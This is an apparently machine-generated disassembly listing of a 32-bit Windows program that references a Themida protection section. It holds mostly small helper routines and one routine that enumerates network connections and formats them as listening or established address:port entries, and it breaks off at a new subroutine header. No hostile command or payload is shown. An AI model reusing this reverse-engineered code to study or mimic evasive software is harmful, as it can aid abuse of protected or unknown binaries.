push eax
lea ecx, [esi+9FD2Dh]
mov dword ptr [esp+1C4h], 0
call sub_40200E
lea ecx, [esp+10h]
mov dword ptr [esp+1C0h], 0FFFFFFFFh
call sub_401226
lea ebx, [esi+8EF5Dh]
mov ecx, ebx
call sub_4013D4
lea ecx, [esi+8F247h]
call sub_4013D4
lea ecx, [esi+1D29h]
call sub_401D7F
lea ecx, [esi+1E6Fh]
call sub_401AE1
lea ecx, [esi+8F285h]
call sub_401609
lea ecx, [esi+9FA13h]
call sub_4016F4
lea ecx, [esi+8F3A2h]
call sub_4021DF
lea ecx, [esi+9FA73h]
call sub_401E47
mov ecx, ebx
call sub_401A0A
lea ecx, [esi+9FC42h]
call sub_401F5F
mov ecx, edi
call sub_40104B
lea ecx, [esi+8F4BFh]
call sub_401C0D
lea ecx, [esi+9FB05h]
call sub_401B90
lea ecx, [esi+9FAD3h]
call sub_401F00
lea ecx, [esi+9FB93h]
call sub_401965
lea ecx, [esi+9FBCDh]
call sub_402045
lea ecx, [esi+9FBFFh]
call sub_401BE5
mov ecx, esi
call sub_401267
lea ecx, [esi+8F270h]
mov edi, eax
call sub_401744
mov ecx, ebx
call sub_401744
call sub_401B18
nop
call near ptr 71AB4428h
mov al, [esi+42h]
test al, al
jz short loc_418757
lea ecx, [esi+152h]
call sub_401CDA
loc_418757: ; CODE XREF: ___:0041874Aj
mov ecx, [esp+1B8h]
mov eax, edi
pop edi
pop esi
pop ebp
pop ebx
mov large fs:0, ecx
add esp, 1B4h
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 0C0h dup(0CCh)
; ---------------------------------------------------------------------------
locret_418840: ; CODE XREF: ___:00402202j
retn
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; ---------------------------------------------------------------------------
loc_418860: ; CODE XREF: ___:00401EC4j
mov eax, [esp+0Ch]
push 0
push eax
mov ecx, offset dword_447148
call sub_401767
; ---------------------------------------------------------------------------
retn 10h
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
byte_418880 db 10h dup(0CCh) ; DATA XREF: Themida_:005D32DEo
; Themida_:005D32E2o ...
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418890 proc near ; CODE XREF: sub_401B09j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_4021BC
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401622
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_40142E
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_4020E5
sub_418890 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418900 proc near ; CODE XREF: sub_401AFAj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push 0
mov cl, [eax]
push 0
mov [esi], cl
mov ecx, esi
call sub_40139D
mov [esi+4], eax
mov dword ptr [esi+8], 0
mov eax, esi
pop esi
retn 4
sub_418900 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418940 proc near ; CODE XREF: sub_4021DAj
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401311
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401F4B
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_401550
mov edx, [esi+4]
mov ecx, esi
push edx
call sub_40205E
sub_418940 endp
; ---------------------------------------------------------------------------
xor eax, eax
mov [esi+4], eax
mov [esi+8], eax
pop esi
add esp, 0Ch
retn
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4189B0 proc near ; CODE XREF: sub_401F4Bj
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
push eax
call sub_4015D2
mov ecx, [eax]
mov esi, [esp+8+arg_0]
add esp, 4
push ecx
mov ecx, esi
call sub_401D84
mov eax, esi
pop esi
retn 4
sub_4189B0 endp
; ---------------------------------------------------------------------------
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4189F0 proc near ; CODE XREF: sub_401311j
arg_0 = dword ptr 4
mov eax, [ecx+4]
push esi
mov esi, [esp+4+arg_0]
push eax
mov ecx, esi
call sub_401D84
mov eax, esi
pop esi
retn 4
sub_4189F0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418A20 proc near ; CODE XREF: sub_4010B9j
var_C = byte ptr -0Ch
var_8 = byte ptr -8
var_4 = byte ptr -4
sub esp, 0Ch
lea eax, [esp+0Ch+var_C]
push esi
mov esi, ecx
push eax
call sub_401311
mov ecx, [eax]
lea edx, [esp+10h+var_8]
push ecx
push edx
mov ecx, esi
call sub_401F4B
mov eax, [eax]
lea ecx, [esp+14h+var_4]
push eax
push ecx
mov ecx, esi
call sub_401550
pop esi
add esp, 0Ch
retn
sub_418A20 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418A70 proc near ; CODE XREF: sub_402086j
push esi
mov esi, ecx
call sub_401528
mov eax, esi
pop esi
retn
sub_418A70 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418A90 proc near ; CODE XREF: sub_402211j
mov eax, [ecx]
push eax
call sub_401172
add esp, 4
retn
sub_418A90 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418AB0 proc near ; CODE XREF: sub_401361j
push esi
mov esi, ecx
mov eax, [esi]
push eax
call sub_4015D2
mov ecx, [eax]
add esp, 4
mov [esi], ecx
mov eax, esi
pop esi
retn
sub_418AB0 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418AE0 proc near ; CODE XREF: sub_4016F9j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_40221B
neg al
sbb eax, eax
inc eax
retn 4
sub_418AE0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418B10 proc near ; CODE XREF: sub_40142Ej
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_40183E
test al, al
jz short loc_418B6A
loc_418B28: ; CODE XREF: sub_418B10+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_40116D
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40123F
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_40183E
test al, al
jnz short loc_418B28
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_418B6A: ; CODE XREF: sub_418B10+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_418B10 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418BA0 proc near ; CODE XREF: sub_4020E5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_401D57
sub_418BA0 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418BC0 proc near ; CODE XREF: sub_401550j
var_8 = byte ptr -8
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
arg_8 = byte ptr 0Ch
sub esp, 8
lea eax, [esp+8+arg_8]
push esi
mov esi, ecx
push eax
lea ecx, [esp+10h+arg_4]
call sub_4016F9
test al, al
jz short loc_418C1A
loc_418BD8: ; CODE XREF: sub_418BC0+47j
lea ecx, [esp+0Ch+var_8]
push 0
push ecx
lea ecx, [esp+14h+arg_4]
call sub_4012A3
mov edx, [eax]
lea eax, [esp+0Ch+var_4]
push edx
push eax
mov ecx, esi
call sub_40214E
; ---------------------------------------------------------------------------
lea ecx, [esp+0Ch+arg_8]
push ecx
lea ecx, [esp+10h+arg_4]
call sub_4016F9
test al, al
jnz short loc_418BD8
mov eax, [esp+0Ch+arg_0]
mov edx, [esp+0Ch+arg_4]
pop esi
mov [eax], edx
add esp, 8
retn 0Ch
; ---------------------------------------------------------------------------
loc_418C1A: ; CODE XREF: sub_418BC0+16j
mov eax, [esp+0Ch+arg_0]
mov ecx, [esp+0Ch+arg_4]
pop esi
mov [eax], ecx
add esp, 8
retn 0Ch
sub_418BC0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418C50 proc near ; CODE XREF: sub_40139Dj
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push esi
push edi
push 0Ch
call sub_401C53
mov edi, [esp+8+arg_0]
mov esi, eax
test edi, edi
jnz short loc_418C65
mov edi, esi
loc_418C65: ; CODE XREF: sub_418C50+11j
push esi
call sub_4015D2
mov [eax], edi
mov edi, [esp+0Ch+arg_4]
add esp, 4
test edi, edi
jnz short loc_418C7A
mov edi, esi
loc_418C7A: ; CODE XREF: sub_418C50+26j
push esi
call sub_401B1D
add esp, 4
mov [eax], edi
mov eax, esi
pop edi
pop esi
retn 8
sub_418C50 endp
; ---------------------------------------------------------------------------
db 4 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418CA0 proc near ; CODE XREF: sub_40205Ej
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 1
push eax
call sub_4013F2
sub_418CA0 endp
; ---------------------------------------------------------------------------
retn 4
; ---------------------------------------------------------------------------
db 90h
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418CC0 proc near ; CODE XREF: sub_4015D2j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
retn
sub_418CC0 endp
; ---------------------------------------------------------------------------
db 0Bh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418CE0 proc near ; CODE XREF: sub_401172j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 8
retn
sub_418CE0 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418D00 proc near ; CODE XREF: sub_401528j
mov eax, ecx
retn
sub_418D00 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418D20 proc near ; CODE XREF: sub_401D84j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push esi
mov esi, ecx
push eax
call sub_4020E0
mov eax, esi
pop esi
retn 4
sub_418D20 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418D50 proc near ; CODE XREF: sub_40221Bj
arg_0 = dword ptr 4
mov edx, [esp+arg_0]
mov eax, [ecx]
push esi
xor ecx, ecx
mov esi, [edx]
cmp eax, esi
pop esi
setz cl
mov al, cl
retn 4
sub_418D50 endp
; ---------------------------------------------------------------------------
db 0Ah dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418D80 proc near ; CODE XREF: sub_40123Fj
var_4 = byte ptr -4
arg_4 = byte ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_40116D
mov ecx, eax
call sub_401C8A
mov esi, eax
push esi
call sub_401A82
push esi
mov ebx, eax
call sub_401C58
mov ecx, [eax]
push ecx
call sub_401A82
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401C58
push esi
mov ebx, eax
call sub_401A82
mov eax, [eax]
push eax
call sub_401C58
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401208
add esp, 1Ch
mov ecx, edi
push eax
call sub_401762
push esi
mov ecx, edi
call sub_4020E5
sub_418D80 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418E40 proc near ; CODE XREF: sub_401D57j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_418E40 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418E60 proc near ; CODE XREF: sub_40116Dj
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_401F0A
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_418E60 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418E90 proc near ; CODE XREF: sub_40214Ej
var_4 = byte ptr -4
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ecx
push ebx
push esi
push edi
mov edi, ecx
lea eax, [esp+10h+var_4]
push 0
push eax
lea ecx, [esp+18h+arg_4]
call sub_4012A3
mov ecx, eax
call sub_401ECE
mov esi, eax
push esi
call sub_4015D2
push esi
mov ebx, eax
call sub_401B1D
mov ecx, [eax]
push ecx
call sub_4015D2
mov edx, [ebx]
push esi
mov [eax], edx
call sub_401B1D
push esi
mov ebx, eax
call sub_4015D2
mov eax, [eax]
push eax
call sub_401B1D
mov ecx, [ebx]
push esi
mov [eax], ecx
call sub_401172
add esp, 1Ch
mov ecx, edi
push eax
call sub_4018C5
push esi
mov ecx, edi
call sub_40205E
sub_418E90 endp
; ---------------------------------------------------------------------------
mov eax, [edi+8]
mov edx, [esp+18h]
dec eax
mov [edi+8], eax
mov eax, [esp+14h]
pop edi
pop esi
mov [eax], edx
pop ebx
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418F50 proc near ; CODE XREF: sub_401B1Dj
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
add eax, 4
retn
sub_418F50 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418F70 proc near ; CODE XREF: sub_401C53j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push 0
push eax
call sub_401D16
add esp, 8
retn 4
sub_418F70 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
; Attributes: noreturn
sub_418FA0 proc near ; CODE XREF: sub_4013F2j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call sub_4367E2
sub_418FA0 endp
; ---------------------------------------------------------------------------
pop ecx
retn 8
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418FC0 proc near ; CODE XREF: sub_4020E0j
arg_0 = dword ptr 4
mov eax, ecx
mov ecx, [esp+arg_0]
mov [eax], ecx
retn 4
sub_418FC0 endp
; ---------------------------------------------------------------------------
db 5 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_418FE0 proc near ; CODE XREF: sub_4012A3j
arg_0 = dword ptr 4
push esi
mov esi, [ecx]
call sub_401361
mov eax, [esp+4+arg_0]
mov [eax], esi
pop esi
retn 8
sub_418FE0 endp
; ---------------------------------------------------------------------------
db 0Eh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419010 proc near ; CODE XREF: sub_401762j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_8
pop ecx
retn 4
sub_419010 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419030 proc near ; CODE XREF: sub_4018C5j
arg_0 = dword ptr 4
mov eax, [esp+arg_0]
push eax
call j_nullsub_4
pop ecx
retn 4
sub_419030 endp
; ---------------------------------------------------------------------------
db 2 dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419050 proc near ; CODE XREF: sub_401ECEj
mov eax, [ecx]
retn
sub_419050 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_8. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_4. PRESS KEYPAD "+" TO EXPAND]
db 0Fh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4190B0 proc near ; CODE XREF: sub_402103j
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_4190B0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 8
push esi
mov esi, ecx
mov [esp+18h+var_14], esi
call sub_4011B3
lea ecx, [esi+4]
call sub_401749
push 9
mov [esp+1Ch+var_4], 0
mov dword ptr [esi], offset off_43E074
call sub_4367FA
add esp, 4
mov [esp+18h+var_10], eax
test eax, eax
mov byte ptr [esp+18h+var_4], 1
jz short loc_41911D
mov ecx, eax
call sub_401F0F
mov [esi+32h], eax
mov eax, esi
pop esi
mov ecx, [esp+14h+var_C]
mov large fs:0, ecx
add esp, 14h
retn
; ---------------------------------------------------------------------------
loc_41911D: ; CODE XREF: sub_4190B0+4Fj
mov ecx, [esp+18h+var_C]
xor eax, eax
mov [esi+32h], eax
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 14h
retn
sub_4190B0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 30h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419170 proc near ; CODE XREF: sub_401F0Fj
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_419170
mov eax, large fs:0
push eax
mov large fs:0, esp
push ecx
push esi
mov esi, ecx
push 14h
call sub_4367FA
add esp, 4
mov [esp+14h+var_10], eax
test eax, eax
mov [esp+14h+var_4], 0
jz short loc_4191BE
mov ecx, eax
call sub_4015B9
mov [esi], eax
mov eax, esi
pop esi
mov ecx, [esp+10h+var_C]
mov large fs:0, ecx
add esp, 10h
retn
; ---------------------------------------------------------------------------
loc_4191BE: ; CODE XREF: sub_419170+31j
mov ecx, [esp+14h+var_C]
xor eax, eax
mov [esi], eax
mov eax, esi
pop esi
mov large fs:0, ecx
add esp, 10h
retn
sub_419170 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419200 proc near ; CODE XREF: sub_4015B9j
mov eax, ecx
retn
sub_419200 endp
; ---------------------------------------------------------------------------
db 0Dh dup(90h)
db 10h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419220 proc near ; CODE XREF: sub_401965j
var_24 = byte ptr -24h
var_C = dword ptr -0Ch
var_4 = dword ptr -4
push 0FFFFFFFFh
push offset SEH_419220
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 18h
push esi
push 0
push 14h
push 1
push 14h
push 13h
push 14h
push 5
lea eax, [esp+44h+var_24]
push 0Eh
mov esi, ecx
push eax
call sub_4019B5
add esp, 24h
push esi
mov ecx, eax
mov [esp+2Ch+var_4], 0
call sub_401681
add esi, 4
push eax
push esi
mov ecx, offset dword_447148
call sub_401591
lea ecx, [esp+28h+var_24]
mov [esp+28h+var_4], 0FFFFFFFFh
call sub_401226
mov ecx, [esp+28h+var_C]
pop esi
mov large fs:0, ecx
add esp, 24h
retn
sub_419220 endp
; ---------------------------------------------------------------------------
db 8 dup(90h)
db 20h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_4192C0 proc near ; CODE XREF: sub_40111Dj
var_2A4 = dword ptr -2A4h
var_2A0 = dword ptr -2A0h
var_29C = dword ptr -29Ch
var_298 = dword ptr -298h
var_294 = dword ptr -294h
var_290 = dword ptr -290h
var_28C = byte ptr -28Ch
var_274 = byte ptr -274h
var_25C = byte ptr -25Ch
var_23C = byte ptr -23Ch
var_224 = byte ptr -224h
var_199 = byte ptr -199h
var_198 = byte ptr -198h
var_119 = byte ptr -119h
var_118 = byte ptr -118h
var_99 = byte ptr -99h
var_98 = byte ptr -98h
var_D = byte ptr -0Dh
var_C = dword ptr -0Ch
var_4 = dword ptr -4
arg_0 = dword ptr 4
push 0FFFFFFFFh
push offset SEH_4192C0
mov eax, large fs:0
push eax
mov large fs:0, esp
sub esp, 298h
push ebx
mov ebx, ecx
push esi
mov [esp+2ACh+var_2A4], ebx
lea ecx, [ebx+4]
call sub_4017E4
mov esi, [esp+2ACh+arg_0]
push eax
lea ecx, [esi+7Eh]
call sub_4012EE
test eax, eax
jnz loc_419669
push ebp
push edi
push offset asc_443600 ; " "
lea eax, [esp+2B8h+var_23C]
push 1
push eax
mov ecx, esi
call sub_4016AE
mov ecx, eax
call sub_401681
push eax
nop
call near ptr 77C1BF18h
add esp, 4
lea ecx, [esp+2B4h+var_23C]
mov [ebx+36h], eax
call sub_401226
mov ecx, esi
call sub_4017E4
push eax
lea ecx, [esp+2B8h+var_274]
call sub_401861
xor ebp, ebp
push offset dword_443D84
lea ecx, [esp+2B8h+var_274]
mov [esp+2B8h+var_4], ebp
mov [esp+2B8h+var_2A0], ebp
call sub_4013E3
test eax, eax
jz short loc_41936F
mov [esp+2B4h+var_2A0], 2
jmp short loc_419389
; ---------------------------------------------------------------------------
loc_41936F: ; CODE XREF: sub_4192C0+A3j
push offset dword_443D80
lea ecx, [esp+2B8h+var_274]
call sub_4013E3
test eax, eax
jz short loc_419389
mov [esp+2B4h+var_2A0], 1
loc_419389: ; CODE XREF: sub_4192C0+ADj
; sub_4192C0+BFj
mov ecx, [ebx+32h]
mov edi, offset dword_443D74
xor eax, eax
mov edx, [ecx]
or ecx, 0FFFFFFFFh
add edx, 2
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
mov ecx, [ebx+32h]
mov edx, [ecx]
mov byte ptr [edx], 1
mov eax, [ebx+32h]
mov [esp+2B4h+var_119], 0
mov [esp+2B4h+var_99], 0
mov [esp+2B4h+var_D], 0
mov [esp+2B4h+var_199], 0
mov eax, [eax]
cmp byte ptr [eax], 0
jnz short loc_419418
mov esi, dword_50FA9C
add eax, 2
push offset dword_443D74
push eax
call esi ; dword_50FA9C
add esp, 8
test eax, eax
jz short loc_419418
mov ecx, [ebx+32h]
push offset off_443D70
mov edx, [ecx]
add edx, 2
push edx
call esi ; dword_50FA9C
add esp, 8
test eax, eax
jnz loc_41964F
loc_419418: ; CODE XREF: sub_4192C0+123j
; sub_4192C0+13Bj
push 0C00h
mov [esp+2B8h+var_294], 0C00h
nop
call near ptr 77C2C407h
add esp, 4
mov esi, eax
lea eax, [esp+2B4h+var_294]
mov [esp+2B4h+var_29C], esi
push 1
push eax
push esi
mov [esi], ebp
call sub_436C60
; ---------------------------------------------------------------------------
mov eax, [esi]
mov [esp+2B4h+var_298], ebp
cmp eax, ebp
jle loc_419645
lea ebp, [esi+14h]
loc_419454: ; CODE XREF: sub_4192C0+37Fj
cmp dword ptr [ebp-10h], 2
jnz short loc_419468
mov ecx, [ebx+32h]
mov edx, [ecx]
cmp byte ptr [edx], 0
jz loc_41962F
loc_419468: ; CODE XREF: sub_4192C0+198j
mov ax, [ebp-8]
mov esi, dword_50FC20
push eax
call esi ; dword_50FC20
mov cx, [ebp+0]
mov [esp+2B4h+var_290], eax
push ecx
call esi ; dword_50FC20
mov esi, [esp+2B4h+var_2A4]
mov ebx, eax
mov eax, [ebp-0Ch]
push 1
lea edx, [esp+2B8h+var_198]
push 7Fh
push edx
push eax
mov ecx, esi
call sub_401474
mov edx, [ebp-4]
push 0
lea ecx, [esp+2B8h+var_118]
push 7Fh
push ecx
push edx
mov ecx, esi
call sub_401474
mov eax, [ebp-10h]
sub eax, 2
jz short loc_4194CC
sub eax, 3
jnz short loc_4194F2
lea edx, [esp+2B4h+var_25C]
mov edi, offset aEstablished ; "established"
jmp short loc_4194D5
; ---------------------------------------------------------------------------
loc_4194CC: ; CODE XREF: sub_4192C0+1FAj
lea edx, [esp+2B4h+var_25C]
mov edi, offset aListening ; "listening"
loc_4194D5: ; CODE XREF: sub_4192C0+20Aj
or ecx, 0FFFFFFFFh
xor eax, eax
repne scasb
not ecx
sub edi, ecx
mov eax, ecx
mov esi, edi
mov edi, edx
shr ecx, 2
rep movsd
mov ecx, eax
and ecx, 3
rep movsb
loc_4194F2: ; CODE XREF: sub_4192C0+1FFj
mov ecx, 23h
xor eax, eax
lea edi, [esp+2B4h+var_98]
rep stosd
mov ecx, 23h
lea edi, [esp+2B4h+var_224]
rep stosd
cmp dword ptr [ebp-10h], 2
jnz short loc_419518
xor ebx, ebx
loc_419518: ; CODE XREF: sub_4192C0+254j
mov esi, [esp+2B4h+var_290]
lea ecx, [esp+2B4h+var_198]
and esi, 0FFFFh
lea edx, [esp+2B4h+var_98]
push esi
push ecx
push offset aSD_1 ; "%s:%d"
push 8Bh
push edx
nop
call near ptr 77C3FA76h
mov edi, ebx
add esp, 14h
and edi, 0FFFFh
lea eax, [esp+2B4h+var_118]
push edi
push eax
push offset aSD_1 ; "%s:%d"
lea ecx, [esp+2C0h+var_224]
push 8Bh
push ecx
call near ptr 77C3FA76h
nop
add esp, 14h
lea ecx, [esp+2B4h+var_28C]
call sub_401424
mov eax, [esp+2B4h+var_2A0]
mov byte ptr [esp+2B4h+var_4], 1
test bx, bx
jnz short loc_4195B1
cmp eax, 1
jz loc_419616
mov edx, [esp+2B4h+var_2A4]
mov eax, [edx+36h]
test eax, eax
jz short loc_4195A4
cmp eax, esi
jnz short loc_419616
loc_4195A4: ; CODE XREF: sub_4192C0+2DEj
lea eax, [esp+2B4h+var_25C]
push esi
push eax
push offset aSD_0 ; "%s: %d"
jmp short loc_4195D7
; ---------------------------------------------------------------------------
loc_4195B1: ; CODE XREF: sub_4192C0+2CAj
cmp eax, 2
jz short loc_419616
mov ecx, [esp+2B4h+var_2A4]
mov eax, [ecx+36h]
test eax, eax
jz short loc_4195C5
cmp eax, edi
jnz short loc_419616
loc_4195C5: ; CODE XREF: sub_4192C0+2FFj
lea edx, [esp+2B4h+var_224]
lea eax, [esp+2B4h+var_25C]
push edx
push eax
push offset aSS_6 ; "%s: %s"
loc_4195D7: ; CODE XREF: sub_4192C0+2EFj
lea ecx, [esp+2C0h+var_28C]
push ecx
call sub_40102D
mov esi, [esp+2C4h+arg_0]
add esp, 10h
lea ecx, [esi+69h]
call sub_4014D3
push eax
lea ecx, [esp+2B8h+var_28C]
call sub_4014D3
mov dl, [esi+94h]
push eax
mov al, [esi+93h]
push edx
push eax
mov ecx, offset byte_4D60A5
call sub_401118
loc_419616: ; CODE XREF: sub_4192C0+2CFj
; sub_4192C0+2E2j ...
lea ecx, [esp+2B4h+var_28C]
mov byte ptr [esp+2B4h+var_4], 0
call sub_401226
mov esi, [esp+2B4h+var_29C]
mov ebx, [esp+2B4h+var_2A4]
loc_41962F: ; CODE XREF: sub_4192C0+1A2j
mov eax, [esp+2B4h+var_298]
mov ecx, [esi]
inc eax
add ebp, 14h
cmp eax, ecx
mov [esp+2B4h+var_298], eax
jl loc_419454
loc_419645: ; CODE XREF: sub_4192C0+18Bj
push esi
call near ptr 77C2C21Bh
nop
add esp, 4
loc_41964F: ; CODE XREF: sub_4192C0+152j
lea ecx, [esp+2B4h+var_274]
mov [esp+2B4h+var_4], 0FFFFFFFFh
call sub_401226
pop edi
mov al, 1
pop ebp
jmp short loc_41966B
; ---------------------------------------------------------------------------
loc_419669: ; CODE XREF: sub_4192C0+3Dj
mov al, 1
loc_41966B: ; CODE XREF: sub_4192C0+3A7j
mov ecx, [esp+2ACh+var_C]
pop esi
pop ebx
mov large fs:0, ecx
add esp, 2A4h
retn 4
sub_4192C0 endp
; ---------------------------------------------------------------------------
db 0Ch dup(90h)
db 100h dup(0CCh)
; =============== S U B R O U T I N E =======================================
sub_419790 proc near ; CODE XREF: sub_401474j
